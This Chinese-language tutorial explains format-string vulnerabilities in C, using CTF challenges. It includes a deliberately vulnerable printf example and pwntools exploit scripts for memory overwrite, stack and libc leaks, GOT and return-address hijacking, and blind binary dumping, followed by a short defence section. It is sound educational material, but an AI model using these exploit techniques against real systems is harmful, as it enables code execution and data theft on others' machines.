格式化字符串详解
字数 1981 2025-08-20 18:17:00
格式化字符串漏洞详解
基础知识
函数介绍
格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。几乎所有C/C++程序都会利用格式化字符串函数来输出信息、调试程序或处理字符串。
常见的格式化字符串函数:
| 函数 | 基本介绍 |
|---|---|
| printf | 输出到stdout |
| fprintf | 输出到指定FILE流 |
| vprintf | 根据参数列表格式化输出到stdout |
| vfprintf | 根据参数列表格式化输出到指定FILE流 |
| sprintf | 输出到字符串 |
| snprintf | 输出指定字节数到字符串 |
| vsprintf | 根据参数列表格式化输出到字符串 |
| vsnprintf | 根据参数列表格式化输出指定字节到字符串 |
| setproctitle | 设置argv |
| syslog | 输出日志 |
格式化字符串格式
基本格式:%[parameter][flags][field width][.precision][length]type
常见格式化字符串含义:
%p: 直接打印栈上的数据%s: 把栈上的数据作为地址解析,打印地址解析的数据%x: 以十六进制打印,只能打印4字节(32位)%c: 打印单个字符%hhn: 写一字节%hn: 写两字节%n: 把已成功输出的字符个数写入对应的整型指针参数所指的变量(写四字节)%ln: 32位写四字节,64位写八字节%lln: 写八字节%d,%i: 有符号十进制数值int
漏洞原理
格式化字符串漏洞的成因在于像printf/sprintf/snprintf等格式化打印函数都是接受可变参数的。当程序编写不规范时,如正确的写法是printf("%s", pad),但偷懒写成了printf(pad),此时就存在格式化字符串漏洞。
示例漏洞代码:
#include <stdio.h>
int main() {
char pad[100];
scanf("%s", pad);
printf(pad); // 漏洞点
return 0;
}
漏洞利用技术
1. 覆盖内存(32位)
示例题目:fmtstr1
程序逻辑:如果变量x等于4,程序会执行system("/bin/sh")
利用步骤:
- 找到x的地址:
0x0804A02C - 确定格式化字符串在栈上的偏移位置(第11个参数)
- 构造payload:
p32(x_addr) + b"%11$n"
EXP:
from pwn import *
context(os='linux', arch='i386', log_level='debug')
io = process('./pwn')
elf = ELF('./pwn')
x_addr = 0x0804A02C
payload = p32(x_addr) + b"%11$n"
io.sendline(payload)
io.interactive()
2. 泄露栈内存(64位)
示例题目:fmtstr2
程序逻辑:读取flag.txt内容并与用户输入比较
利用步骤:
- 64位前6个参数存储在寄存器中(rdi,rsi,rdx,rcx,r8,r9)
- 确定格式化字符串在栈上的偏移位置(第9个参数)
- 构造payload:
"%9$s"
EXP:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./pwn')
elf = ELF('./pwn')
io.recvuntil(b"flag")
payload = "%9$s"
io.sendline(payload)
io.interactive()
3. libc泄露与劫持GOT
示例题目:fmstr3
利用步骤:
- 泄露puts函数的GOT地址
- 计算libc基址
- 获取system和/bin/sh地址
- 覆盖GOT表项或构造ROP链
EXP关键部分:
# 泄露puts地址
name_content("puts", b'%8$s' + p32(elf.got['puts']))
puts_addr = l32()
libcbase = puts_addr - libc.symbols['puts']
# 计算system和/bin/sh地址
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh\00'))
# 覆盖GOT表
payload = fmtstr_payload(7, {elf.got['printf']: system_addr})
put('/bin/sh', payload)
get('/bin/sh')
4. 劫持返回地址
示例题目:fmstr4
利用步骤:
- 泄露栈地址和程序基址
- 计算返回地址位置
- 修改返回地址为后门函数地址
EXP关键部分:
# 泄露地址
p.sendline('%6$p')
ret_addr = int(p.recvuntil('.TMP', drop=True), 16) - 0x38
# 修改返回地址
p.sendline(p64(ret_addr))
p.sendline('%2218d%8$hn') # 0x4008A6 = 2214
5. 盲打泄露栈
技术要点:
- 使用循环泄露栈上数据
- 识别有用的地址信息
- 重建程序内存布局
示例代码:
from pwn import *
def leak(payload):
sh = remote('127.0.0.1', 9999)
sh.sendline(payload)
data = sh.recvuntil('\n', drop=True)
if data.startswith('0x'):
print(p64(int(data, 16)))
sh.close()
i = 1
while True:
payload = '%{}$p'.format(i)
leak(payload)
i += 1
6. 盲打劫持GOT
技术要点:
- 从程序加载地址开始泄露(32位:0x8048000, 64位:0x400000)
- 或从.text段开始泄露
- 重建GOT表信息
- 覆盖GOT表项
泄露脚本:
def leak(addr):
payload = "%9$s.TMP" + p32(addr)
r.sendline(payload)
ret = r.recvuntil(".TMP", drop=True)
return ret
# 从0x8048000开始泄露
begin = 0x8048000
text_seg = ''
try:
while True:
ret = leak(begin)
text_seg += ret
begin += len(ret)
if len(ret) == 0:
begin += 1
text_seg += '\x00'
except:
with open('dump_bin','wb') as f:
f.write(text_seg)
高级利用技巧
1. 多次循环利用
HWS fmt题目示例:
- 第一次printf泄露栈上数据,得到libc基址、栈基址和elf文件基址
- 第二次printf修改run函数返回地址的低位字节,将其修改为main函数中的call run指令
- 在run函数返回地址下方布置ROP链
- 最后将run的返回地址改为ret指令地址执行ROP链
EXP关键部分:
# 泄露地址
payload = '%19$p,%9$p,%14$p'
sl(payload)
pie = int(p.recv(12),16) - elf.sym['main'] - 28
libcbase = int(p.recv(12),16) - libc.sym['_IO_file_setbuf'] - 13
rbp = int(p.recv(12),16)
# 计算返回地址
ret = rbp + 8
__libc_start = ret + 0x10
# 修改返回地址
ogg = libcbase + 0xe3b01
payload = b'%' + str(ogg & 0xff).encode() + b'c%11$hhn'
payload += b'%' + str((ogg >> 8) & 0xff).encode() + b'c%12$hhn'
payload += b'%' + str((ogg >> 16) & 0xff).encode() + b'c%13$hhnaaaaaaa'
payload += p64(__libc_start)
payload += p64(__libc_start+1)
payload += p64(__libc_start+2)
sl(payload)
防御措施
- 始终指定格式化字符串,如使用
printf("%s", str)而非printf(str) - 使用编译时检查,如GCC的
-Wformat-security选项 - 限制用户输入的格式字符串内容
- 使用更安全的替代函数,如
snprintf
总结
格式化字符串漏洞是一种强大的漏洞类型,可以实现:
- 任意内存读取(信息泄露)
- 任意内存写入(修改关键数据)
- 控制流劫持(通过修改返回地址或GOT表)
理解格式化字符串漏洞需要掌握:
- 函数调用约定(32位栈传参,64位寄存器+栈传参)
- 格式化字符串语法和特殊格式(如%n)
- 内存布局和地址计算
- 利用技术如GOT劫持、返回地址覆盖等
通过系统学习和实践,可以掌握这种漏洞的利用方法,并在实际场景中灵活应用。